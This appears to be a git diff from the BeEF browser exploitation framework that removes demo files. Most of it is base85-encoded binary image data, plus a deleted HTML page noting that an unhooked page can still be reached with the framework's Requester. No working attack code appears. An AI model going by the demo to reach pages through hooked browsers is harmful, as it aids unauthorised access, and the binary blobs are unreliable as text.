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 diff --git a/demos/butcher/secret_page.html b/demos/butcher/secret_page.html deleted file mode 100644 index cf295841d..000000000 --- a/demos/butcher/secret_page.html +++ /dev/null @@ -1,13 +0,0 @@ - - - Secret Page - - -

Secret page

- -

- This page is not hooked by beef. However you should still be capable of accessing it - using the Requester. -

- - \ No newline at end of file diff --git a/demos/butcher/top.jpg b/demos/butcher/top.jpg deleted file mode 100644 index 7a1ed78a396db6297437931d3881ba9ef2ce9505..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15652 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­%WGm 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 